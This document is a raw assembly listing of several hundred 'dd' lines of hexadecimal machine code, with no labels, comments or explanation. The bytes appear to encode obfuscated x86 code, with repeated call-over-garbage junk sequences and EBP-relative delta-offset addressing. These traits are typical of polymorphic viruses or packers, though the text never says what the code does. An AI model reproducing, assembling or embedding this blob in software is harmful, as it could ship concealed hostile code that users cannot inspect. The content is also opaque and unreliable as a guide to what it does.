dd 160424h, 55450000h, 1E0C78C3h, 4860Fh, 0BA660000h, 0BF0F69A9h
dd 1CD280D1h, 83D08B61h, 70095BDh, 840F0006h, 56h, 28F59D09h
dd 0FF6A0607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 19h, 7AC35747h, 0E1F626A2h, 0BFF7BB3Fh, 880F5F46h, 6
dd 0BA9BD89h, 95FF0607h, 6070D69h, 6E9h, 0AFE7D400h, 0E906B56Eh
dd 0FFFFFFB6h, 718AE281h, 85C74CF4h, 6070095h, 1, 0D58D8956h
dd 5B060711h, 4B1A8589h, 958B0607h, 6070A35h, 0E8525090h
dd 5, 1A8F279Ah, 8F0F3Dh, 5A000000h, 0E951310Fh, 10h, 0CED4C2D7h
dd 0B7A34AB7h, 9A06C209h, 993FD52Dh, 50585A5Bh, 90D88B66h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 58C35242h
dd 8C4EE81Bh, 66CC8826h, 557DA81h, 0D08B6656h, 7E8605Ah
dd 94000000h, 407C46A7h, 10E9E216h, 0E1000000h, 0C78DA9FAh
dd 44985FFAh, 9CBADA34h, 5BF08DC8h, 8B66056Ah, 399589D3h
dd 8D060705h, 74B3285h, 5802BB06h, 6650681Bh, 89696FBBh
dd 800F2404h, 6, 2D119D8Bh, 858D0607h, 6074B22h, 5090DCB7h
dd 0FD68B52h, 0DF8B6631h, 0E850585Ah, 0Bh, 0A1AA4040h
dd 5CDA2EC2h, 0FEF30C1h, 38Fh, 0DA8B6600h, 0D78B905Bh
dd 194995FFh, 95290607h, 6072C31h, 78678D8Dh, 6A0607h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 0F8F5FC3h, 68Dh, 519D8900h, 0B2060732h, 74C00B5Eh, 32858D11h
dd 5006074Bh, 8589D1FFh, 6074B50h, 85C70AEBh, 6074B50h
dd 0FFFFFFFFh, 7E8h, 0E4C4A600h, 0C7203F66h, 295AFDB3h
dd 71F9DB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 2A5D9C45h, 0D980606Dh, 71BD29E6h
dd 6106070Dh, 5E9h, 5F432D00h, 8961306Bh, 72F099Dh, 0CD85C606h
dd 4D060709h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ah, 51C35040h, 0FB4F9DE3h, 8D292EE8h, 60704E9h, 4E8h
dd 3576A800h, 0D08B66A4h, 11E850h, 0A20A0000h, 27551C16h
dd 0E6935530h, 6964A7D2h, 0E94A26AEh, 0Bh, 0B75ECBF2h
dd 0D04B5BDAh, 5AA895F7h, 424448Bh, 0F892BA66h, 5250008Bh
dd 48B0Fh, 0BB660000h, 310FA52Fh, 12890Fh, 0CE80000h, 0EF000000h
dd 0FC396437h, 0A92AB12Ch, 5A5E555Dh, 4489585Ah, 0DE80424h
dd 57000000h, 217ABEEBh, 40AEDBA0h, 2F77F1C8h, 1086F0BAh
dd 6A585B0Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 84ACC357h, 81E2E6E3h, 0EA816656h
dd 0EF8082B5h, 0F5B5FF15h, 66060710h, 8D4AF4BAh, 0A703885h
dd 0EE906h, 4DB10000h, 8F093AC7h, 0DDF10E4Ch, 7EA853FEh
dd 8D01D0FFh, 607108Dh, 5818589h, 0FE90607h, 11000000h
dd 0EF32E06Ah, 3BB3CCD8h, 53139E76h, 9D89E26Fh, 6070C6Dh
dd 9CD85C6h, 6A450607h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 0C67EC355h, 9204BB84h
dd 0B8683806h, 0BBC04338h, 6C0D24E6h, 0D1243481h, 664E3151h
dd 0FFDD1BBBh, 70D99B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 0E09D9A56h, 0B1EBD02Fh
dd 8B665B2Fh, 0F880FDAh, 0E9000000h, 0Ah, 80F83E66h, 0E2C20D1Dh
dd 0BA517645h, 5E568422h, 38858D5Bh, 6A060A70h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 6173C351h, 0C49958Bh, 0E3810607h, 67ED1F0Dh, 0D38BD0FFh
dd 2BDD8589h, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 190424h, 56460000h, 0B5A675C3h, 0E8FFD74Eh, 0Ch, 20B0CA94h
dd 93C07D0Eh, 3584CEA3h, 0D0A6BB66h, 0FD28B5Bh, 8C66D0B7h
dd 53006AD9h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 0FFD56DCBh, 53BA7BCFh, 0CE9FD24h, 67000000h
dd 0F5F4FBBBh, 0DB7DEBACh, 0F6E95DD5h, 840F04C1h, 20Ch
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0E0C35040h
dd 85894A92h, 60714B1h, 123E9h, 6870F00h, 23000000h, 70C2D9Dh
dd 0F1B58B06h, 57060728h, 0AE8h, 0D2FA7000h, 5009B593h
dd 81A035F2h, 0DBCCEECAh, 815A5B2Eh, 1180C6h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 66A89E7Dh, 9509D38Bh, 60713DDh, 0A85BD83h
dd 0F000607h, 0F85h, 0FE8A5600h, 0A2E95Bh, 9D8B0000h, 60729F5h
dd 0F003E83h, 9384h, 68B0F00h, 31000000h, 705798Dh, 6A6006h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 2F3081C3h, 0BD8941E0h, 60720DDh, 14E9146Ah, 0A2000000h
dd 4C7A6B79h, 7B1FBB8Bh, 922FB26Ah, 7240B8EFh, 0FF753296h
dd 70D6995h, 61D18B06h, 284D958Bh, 95E90607h, 6AFFFFFFh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 2EF6C357h, 5D2AC86h, 723EA09Eh, 7AEAF281h
dd 958B33AFh, 6070DB9h, 106C7h, 9E90000h, 7C000000h, 0F4A230DEh
dd 17F9C712h, 4B1ABD83h, 0F050607h, 0B385h, 4BC38100h
dd 8B7E4313h, 72BDDB5h, 259D2906h, 0B9060729h, 64h, 0DE8h
dd 0FEF7B300h, 26678CC5h, 27D266A1h, 95897DB7h, 6071009h
dd 0E83E805Bh, 46840Fh, 9D030000h, 60714F5h, 48D38166h
dd 46E92Bh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 0CDE644C3h, 11E90167h, 8F000000h
dd 9682F6B9h, 48252802h, 2E69E46Dh, 0B38893F7h, 0C2057E80h
dd 22840Fh, 95890000h, 607261Dh, 65952346h, 49060723h
dd 0FF93850Fh, 5352FFFFh, 5AD0B70Fh, 0AE95Ah, 0D48A0000h
dd 1FBDB589h, 4EB30607h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 0E7801ADDh, 9B589CBh
dd 8306072Fh, 70FD1BDh, 840F0006h, 12Ah, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 19h, 55C35747h, 1C9FAFDEh
dd 0DE8B668Ch, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1404h, 0C3524200h, 0C6D18B0Dh, 709CD85h
dd 0E9605406h, 6, 0B88FB2Fh, 61FC73A6h, 0C0D98068h, 8B5250D9h
dd 52310FD8h, 5A5BFC8Ah, 24348158h, 268E6774h, 0B5FFC8B6h
dd 6070D99h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ch, 0C0C35040h, 0A9359522h, 8F4D8916h, 8DD7B70Fh, 0A703885h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h
dd 0C3504000h, 9E833h, 65420000h, 76DE8A23h, 667E18BBh
dd 5BB270BBh, 0C830Fh, 8A0F0000h, 6, 20D99D8Bh, 0D0FF0607h
dd 6ADE8Bh, 0F23294BAh, 0D1B5FF6Dh, 6A06070Fh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 66AAC356h, 4E6DBAD5h, 0D0DD6BFh, 3FBAD0FFh, 662D79F3h
dd 9D79E381h, 85C7F961h, 6070E29h, 1, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 8BC35545h, 0F4FC930h, 68Ch
dd 95B50100h, 29060707h, 71E2985h, 830F6006h, 6, 0B7D9D8Bh
dd 0E4680607h, 0B20E892Dh, 243481E4h, 0E892D64h, 4810Fh
dd 56570000h, 8A0F5B5Bh, 6, 0A35958Bh, 0FF6A0607h, 89195FFh
dd 9D8B0607h, 6070A25h, 5840F61h, 66000000h, 0B0F6CB81h
dd 17D3BB50h, 48919E7h, 6840F24h, 33000000h, 7236D95h
dd 0DD858B06h, 6A060701h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 3477C353h, 0C00BFCAFh
dd 3C840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 9F1B7DC3h, 651462E8h, 0A9BA5685h
dd 5A565B0Bh, 95FF16B6h, 6071245h, 5E9h, 1CFE9C00h, 85C74FBDh
dd 6071DADh, 1, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 19h, 8C35747h, 98859DCh, 0CA8166CDh, 0BD839435h, 6070C31h
dd 2E840F00h, 8B000000h, 72F919Dh, 7995FF06h, 6A060718h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 33C4C353h, 0DF80675Dh, 0F5BD8347h, 6072Ah
dd 56840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 170424h, 52420000h, 0E96E6C3h, 0A99D335Bh, 8A06070Ah
dd 0D195FFF9h, 6A06070Eh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 0A397C355h, 0A3B296F2h
dd 9D2359DFh, 6071AE9h, 2199BD83h, 0F000607h, 5484h, 0DEBB6600h
dd 49DA8144h, 835B28FAh, 70529BDh, 850F0006h, 3Dh, 1861958Bh
dd 0BA660607h, 95FFB8E8h, 6071421h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Dh, 0D3C35242h, 49178EFCh, 634505Bh
dd 19958B94h, 0B6060720h, 59BD83D5h, 60732h, 5B840Fh, 12E80000h
dd 4F000000h, 802EE8FBh, 0A3DAAFB3h, 6637247h, 0EB699B99h
dd 619D8B98h, 5B060703h, 1F7D8581h, 40030607h, 9E90000h
dd 0
dd 0A70EEAA6h, 0AABD9910h, 2F818581h, 40030607h, 10E90000h
dd 53000000h, 0EAC41C57h, 86CB5AF4h, 0D2BC7067h, 2B94D2B5h
dd 728B19Dh, 89310F06h, 7262195h, 8D8DF506h, 6075BC5h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 7BC35242h
dd 0BE845930h, 0C5EFD5DDh, 0D9958BA3h, 8B060712h, 72A9D9Dh
dd 0B018906h, 711819Dh, 6AC23306h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 6BB0C356h
dd 0A87B1583h, 13DD84B6h, 7F705ABBh, 4418946h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 79C35242h, 0D2514B3Ah
dd 0BDF9CDB8h, 310FF84Ah, 9D8BCEB2h, 6071A31h, 5BDD8D8Dh
dd 0F38A0607h, 9D8B0189h, 6070319h, 6AC233h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 9E5E9C3h
dd 8958A120h, 7140DB5h, 699D8B06h, 8906071Bh, 0DE90441h
dd 10000000h, 0ACCF5A40h, 43809EE5h, 0BEC35740h, 25E5BD83h
dd 0F000607h, 3284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 2A7C5033h, 515116B6h
dd 4818D89h, 5A5A0607h, 22A595FFh, 83F90607h, 72C51BDh
dd 850F0106h, 6Eh, 6699D8Bh, 63E90607h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 6384C352h, 8B2723B0h, 72AC595h, 0D38B6606h, 5D4FB58Bh
dd 6C70607h, 0
dd 5A9BB58Bh, 6C70607h, 0
dd 57006ACFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 0B2B3B5DDh, 0BD83F9FEh, 6071DADh, 5840F00h
dd 81000001h, 712FF2CBh, 3DBD8376h, 106072Ah, 0DF850Fh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 0BFD91C3h, 0E8D8B85h, 6A06074Bh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 0DB26C357h, 1AEB8166h, 1C6CDh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 0B7C35747h, 49A11354h, 8160617Dh
dd 0B19EA2D2h, 0B9BA663Bh, 4E8C9h, 800000h, 60520000h
dd 60D98B66h, 505B6161h, 448BFA8Ah, 0F38A0424h, 4DB2008Bh
dd 4244489h, 8B58DCB2h, 720D195h, 66FF6A06h, 0FF98E4BAh
dd 7089195h, 61DE8B06h, 0A4DB8166h, 71953322h, 0FF06070Ah
dd 707D195h, 8BD88A06h, 74B0E8Dh, 6830F06h, 89000000h
dd 72F018Dh, 8901FE06h, 7302D8Dh, 85BD8306h, 1060713h
dd 6850Fh, 958B0000h, 6070D95h, 9589C08Bh, 60711A5h, 1ACDBD83h
dd 75000607h, 35BD8309h, 60711h, 53501A74h, 858BC08Bh
dd 6071F7Dh, 1F7D8589h, 9D8D0607h, 609ADC0h, 585BD3FFh
dd 1135BD83h, 74000607h, 8B535018h, 71F7D85h, 7D858906h
dd 8D06071Fh, 9AAAF9Dh, 5BD3FF06h, 18C0F58h, 0FC000000h
dd 953111B2h, 6071131h, 0E380C08Bh, 0DE68061h, 1DADBD83h
dd 0F000607h, 1A85h, 0CB816600h, 0BD83F607h, 60732A1h
dd 8840F00h, 0F000000h, 282h, 83F38A00h, 71DADBDh, 840F0006h
dd 67h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch
dd 81C35343h, 76A44DBCh, 151B8331h, 7EEA8166h, 0C9BD83A2h
dd 6070Dh, 31840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 0D8E53EC3h, 9CC38142h
dd 29330F3Fh, 704619Dh, 3D9D0906h, 83060715h, 71DADBDh
dd 840F0006h, 53h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 0F0C35747h, 0FBF88F75h, 83DE8B66h, 70DC9BDh
dd 840F0006h, 23h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 15h, 3C35747h, 0F99D8970h, 83060710h, 71DADBDh
dd 840F0006h, 27h, 20F1BD89h, 0BD830607h, 6071065h, 14840F00h
dd 0E8000000h, 6, 0E0Dh, 89516202h, 7332185h, 835B5A06h
dd 71DADBDh, 840F0006h, 76h, 0BD833FB3h, 6071419h, 67840F00h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 3929C357h, 5DF3674Fh, 470679A7h
dd 2D8595FFh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 60CBFEC3h, 14E9h, 57E6BE00h, 0E3E22819h
dd 0ADD73CA4h, 4F810D02h, 155461BFh, 61605626h, 0C08B615Eh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 7BC35141h
dd 1D1D90C2h, 0DA98F548h, 0CDBD8326h, 6071Ah, 0BD830975h
dd 6071135h, 501A7400h, 8BC08B53h, 72F8185h, 81858906h
dd 8D06072Fh, 9AE279Dh, 5BD3FF06h, 35BD8358h, 60711h, 53501874h
dd 2F81858Bh, 85890607h, 6072F81h, 0AAC89D8Dh, 0D3FF0609h
dd 0DE8585Bh, 4C000000h, 4E647691h, 1C134150h, 8260CA0h
dd 68B0Fh, 8B0F0000h, 0
dd 0FDDB805Ah, 0BF0FC08Bh, 0D0BF0FD8h, 1DADBD83h, 0F000607h
dd 48E84h, 0BE800h, 2B6C0000h, 0C1BF6FC6h, 50F725B1h, 0B6BB6690h
dd 0BD835B7Eh, 6072935h, 25840F02h, 0E9000000h, 0Dh, 93624B6h
dd 0A02CBD53h, 7E045FCh, 51BD83C0h, 106072Ch, 6850Fh, 9D890000h
dd 6072B35h, 2AE5BD83h, 0F000607h, 0EA84h, 3F75BB00h, 0BA604283h
dd 289FC73Dh, 4B0E8D8Bh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 860C00C3h, 2CA18D31h
dd 81660607h, 0FEC6ADC2h, 50006A01h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0CA5D7C99h
dd 0A35720EFh, 6A5958Bh, 0E6800607h, 0C71C68BAh, 800F41B4h
dd 17h, 6AEABA60h, 0BE92462h, 0BF000000h, 0A74F794Eh, 50D2791Bh
dd 8161A025h, 0C79C2434h, 0D78A41B4h, 6AFF6Ah, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 8D62A3C3h, 0FF20C612h, 7089195h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 8BB3B206h
dd 710799Dh, 39958B06h, 61060704h, 60D3B70Fh, 572119BBh
dd 0E8D8B0Eh, 6A06074Bh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 0F514C352h, 8380DECCh
dd 0FEA15158h, 50006A01h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 89B1A486h, 708199Dh, 0CD950906h
dd 0E8060701h, 4, 80h, 7E952h, 81F0000h, 2E2C43CCh, 8A505A9Ch
dd 24448BF3h, 0D78B6604h, 5A50008Bh, 4244489h, 0AE8h, 966BB500h
dd 0E580F0F9h, 51E6052Ah, 0DF03BA66h, 0F585A5Ah, 487h
dd 51BA6600h, 0FFF6AB3h, 95FFD1B7h, 6070891h, 6B6BBB66h
dd 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 0D2A77098h, 380F4C3Eh, 239DB529h, 0BD8D0607h
dd 6070F2Dh, 8BD9BF0Fh, 9D891C4Fh, 6071DC1h, 8D89016Ah
dd 6071B5Dh, 9E9h, 938C1100h, 0B21D4FCFh, 56502DB8h, 68E0Fh
dd 8C0F0000h, 0
dd 240C895Bh, 239DBD89h, 858D0607h, 60A34A8h, 0FF5EE380h
dd 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 6D9D8BF0h, 0E9060721h, 10h, 814A2D81h, 0AD48E5EEh
dd 0B6C30FFDh, 8E33DF3Dh, 6A204F8Bh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 584CC351h
dd 5F20010h, 451958Bh, 958B0607h, 6071F99h, 9533036Ah
dd 6072285h, 88E0F91h, 0F000000h, 282h, 505B5700h, 8B91D38Bh
dd 718F595h, 8D93B606h, 0A34A885h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 0A2977ABCh
dd 6AD0FF21h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 3B0FC350h, 74B66AD2h, 0EE9h, 4D535900h
dd 0ED9637C1h, 623DAB63h, 8DDD4D17h, 70F2DBDh, 6800F06h
dd 3000000h, 72B6195h, 1C4F8B06h, 0AC5958Bh, 16A0607h
dd 13399D8Bh, 0BA910607h, 74EC8B31h, 91F88A50h, 0A2F14FBAh
dd 0A8858D54h, 0F060A34h, 689h, 11858900h, 0FF06070Ah
dd 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 0CFCD5E61h, 0E916C959h, 4F8BA86Ah, 36AF920h
dd 6850Fh, 85890000h, 60720ADh, 17830F50h, 0F000000h, 1181h
dd 0CE900h, 0C35D0000h, 303C2F7Ch, 0C01A6810h, 0C89C956h
dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 0CD33346Bh, 2D918D29h, 858D0607h, 60A34A8h
dd 0D0FFD08Ah, 0D09CBA66h, 4B0E8D8Bh, 0BF0F0607h, 0F01FEDFh
dd 488h, 8BBB6600h, 0E858BCFh, 8A06074Bh, 8B00FED9h, 719C195h
dd 6A016A06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 3182C351h, 0C197EF77h, 6199589h
dd 57680607h, 0BBB287FAh, 7BF3090Dh, 0A8243481h, 0F54D7865h
dd 34B2858Dh, 0BD89060Ah, 607217Dh, 83F8D0FFh, 732A1BDh
dd 840F0006h, 0C9h, 0C16BB50h, 805B1E1Fh, 0BD83D6CFh, 60719BDh
dd 0B2850F01h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 0B964C350h, 0B529E4ADh
dd 6072B35h, 34BC8D8Dh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 3A6639C3h, 36A66A2h
dd 7E8h, 1865A900h, 4CBCCAF8h, 5AFCD280h, 6A016Ah, 3E850h
dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 232F9DC3h, 70AB995h, 89D1FF06h, 728618Dh, 66016A06h
dd 8B894BBBh, 71F8595h, 0F016A06h, 68Fh, 299D8B00h, 0FF060712h
dd 9CE8F9D1h, 8BFA545Eh, 719AD95h, 89206A06h, 71861B5h
dd 29FF6A06h, 723A585h, 9195FF06h, 66060708h, 0B8D68Bh
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1B042444h, 40000000h, 9F81C350h, 5C23F73Eh, 0B752A7B8h
dd 0C00B5A22h, 3D840Fh, 80510000h, 835B1FCEh, 71E3DBDh
dd 840F0006h, 2Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Bh, 4BC35545h, 94DCD578h, 0FF527F19h, 72B0595h
dd 8BF58A06h, 70E6985h, 39958B06h, 0C6060719h, 0DABA0000h
dd 5849D9CCh, 1699501h, 66F80607h, 6AD98Ch, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 5D420CC3h
dd 9A98B520h, 0C1F6578Fh, 51840F04h, 8B000000h, 702DD95h
dd 46E906h, 0EF800000h, 0F1B58BDBh, 6A060728h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 4CC9C356h, 0A36CDE00h, 0D3808631h, 80C6814Bh, 8B000011h
dd 7030995h, 6C706h, 0BB000000h, 30C12076h, 55B5895Eh
dd 0E9060732h, 13h, 0F6818263h, 822255Ah, 4FEE4B19h, 27411CC2h
dd 835482FCh, 840F00F8h, 0ADAh, 0A358D31h, 7E90607h, 1D000000h
dd 13B8B8F7h, 0F8836685h, 53850F01h, 0E8000001h, 11h, 1AF25F14h
dd 0DCB239C2h, 0C5DF3F6Bh, 5EF4CED3h, 0B85BF8EAh, 0
dd 0CE9h, 82691000h, 0F4F5AC3Fh, 1F313A1Fh, 0C00BF551h
dd 0C6840Fh, 9D8B0000h, 6073029h, 12419D8Bh, 0F8830607h
dd 0C6840F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 9ADFC353h, 11E95Ch
dd 71040000h, 0C7D70689h, 0F2D38964h, 34426D66h, 839F9A88h
dd 840F03F8h, 37h, 14E9h, 11682D00h, 36EC5948h, 0F75116A1h
dd 0D6963EDCh, 0C6B190A6h, 0B805h, 850F0000h, 6, 0AC5958Bh
dd 0BD8D0607h, 5B7974h, 66E7FFF5h, 0B8257FBAh, 1, 18C0Fh
dd 8DF50000h, 5B7974BDh, 0C29EBB00h, 0BF0F7C38h, 6AE7FFD3h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 2A5BC352h, 7482DCBBh, 419ABD8Dh, 95030607h
dd 60719E5h, 2DFE9h, 6BA6600h, 6985C7B4h, 506074Bh, 0F000000h
dd 582h, 357FBA00h, 5B83786h, 0F000000h, 85h, 8F6E900h
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
dd 56460000h, 0F88349C3h, 0E5850F02h, 89000000h, 732ADBDh
dd 3850F06h, 80000000h, 0B8B0DEh, 0BB000000h, 4A12C3F7h
dd 840FC00Bh, 7Bh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 0AEC35040h, 1F88372h, 0FF6F840Fh, 0BF0FFFFFh
dd 3F883DBh, 0FF11840Fh, 6AFFFFh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 9C9E2C3h, 4A89AD7Ch
dd 5A59D8Bh, 0CF800607h, 819589A6h, 2B060729h, 0A0BB66C0h
dd 74BD8DA4h, 53005B79h, 5BD8BF0Fh, 8166E7FFh, 8D0A4DF2h
dd 74392BDh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1B04h, 0C3534300h, 0B2802725h, 56432EFDh, 0D58AB860h
dd 8E0F0EBFh, 2, 2B615A57h, 72E5D95h, 1B2E906h, 95230000h
dd 6072D81h, 0F03F883h, 4A85h, 0F2816600h, 0BD8D9592h
dd 6074526h, 6840Fh, 8D890000h, 607009Dh, 187E9h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 0C5F8A91Fh, 958BD1C6h, 6070D9Dh, 8166DC8Ah, 83D005EBh
dd 850F05F8h, 30h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 51C35646h, 89CAFFEAh, 0B64A66C9h, 766E98Fh
dd 95890000h, 6070C3Dh, 0F06F883h, 7E85h, 8E800h, 4E360000h
dd 0AF0DB892h, 9D2945D4h, 6071911h, 1EBD8D5Ah, 6A060747h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 5051C351h, 0DAE9F5h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0F853CEC3h
dd 0E896C8FFh, 0AE9DF23h, 28000000h, 138B04DEh, 3CB55C8Eh
dd 0BD896076h, 6071E91h, 2E5DBD8Bh, 83610607h, 850F07F8h
dd 27h, 32798D89h, 0BD8D0607h, 60723ADh, 0BE9h, 0D7C92800h
dd 0D01C63D0h, 96DBE8FEh, 10FE9h, 5D9D8B00h, 8306071Ah
dd 850F0AF8h, 60h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 61C35646h, 0F7B1EECh, 589h, 0E30BB00h
dd 8E0F6F84h, 6, 2E359589h, 0BD8D0607h, 6074916h, 1B158D09h
dd 19E90607h, 0E8000000h, 10h, 9E2DED10h, 41BCD5D8h, 0E76F3EC7h
dd 0B8372300h, 5BD78B66h, 0E5B58957h, 0B906071Dh, 3E86D13Dh
dd 284D958Bh, 3F830607h, 64840F00h, 56000000h, 2B25958Bh
dd 305A0607h, 57006A0Fh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 0D608B919h, 13E910h, 0AC200000h
dd 8F790EE4h, 5504103Ch, 854D4FFFh, 0C752BCF0h, 0B3C9D1B9h
dd 7E9477Fh, 0B6000000h, 0CA05462Eh, 9FE93F27h, 8BFFFFFFh
dd 702F19Dh, 5BD8906h, 5F060705h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 18h, 65C35141h, 9868573h, 4B12BD89h
dd 8B660607h, 318D8DD1h, 8A060714h, 0DDB5FFFAh, 6A06072Bh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 0DD8BC353h, 28C0F40h, 8B000000h, 0DABF0FDEh
dd 9FA8858Dh, 8D500609h, 751EBBDh, 478D8D06h, 0B806076Dh
dd 54831ABCh, 730CF2Bh, 4947C8D0h, 0B58DF875h, 6076CCCh
dd 6D5F8D8Dh, 0CF2B0607h, 0C933A4F3h, 0B8h, 74C00B00h
dd 3DBD8346h, 6071Eh, 95FF0674h, 6072B05h, 4B12B58Bh, 858D0607h
dd 6099FA8h, 858DD0FFh, 607412Fh, 85C7D0FFh, 60710E9h
dd 1, 133DA58Bh, 0B58B0607h, 60706C1h, 2945AD8Bh, 0C0330607h
dd 8B000CC2h, 708E595h, 0D1BF0F06h, 22B5BD83h, 0F000607h
dd 2184h, 10CF8000h, 1F2195FFh, 0E8600607h, 0Ah, 0C64727A2h
dd 46EB5FC3h, 895A0678h, 7230585h, 0BD836106h, 6070A85h
dd 0CC850F00h, 2B000001h, 72AE99Dh, 5D9D8B06h, 83060703h
dd 719BDBDh, 850F0106h, 1B3h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 0ABC35040h, 6FCEFC93h, 2B6ECD77h
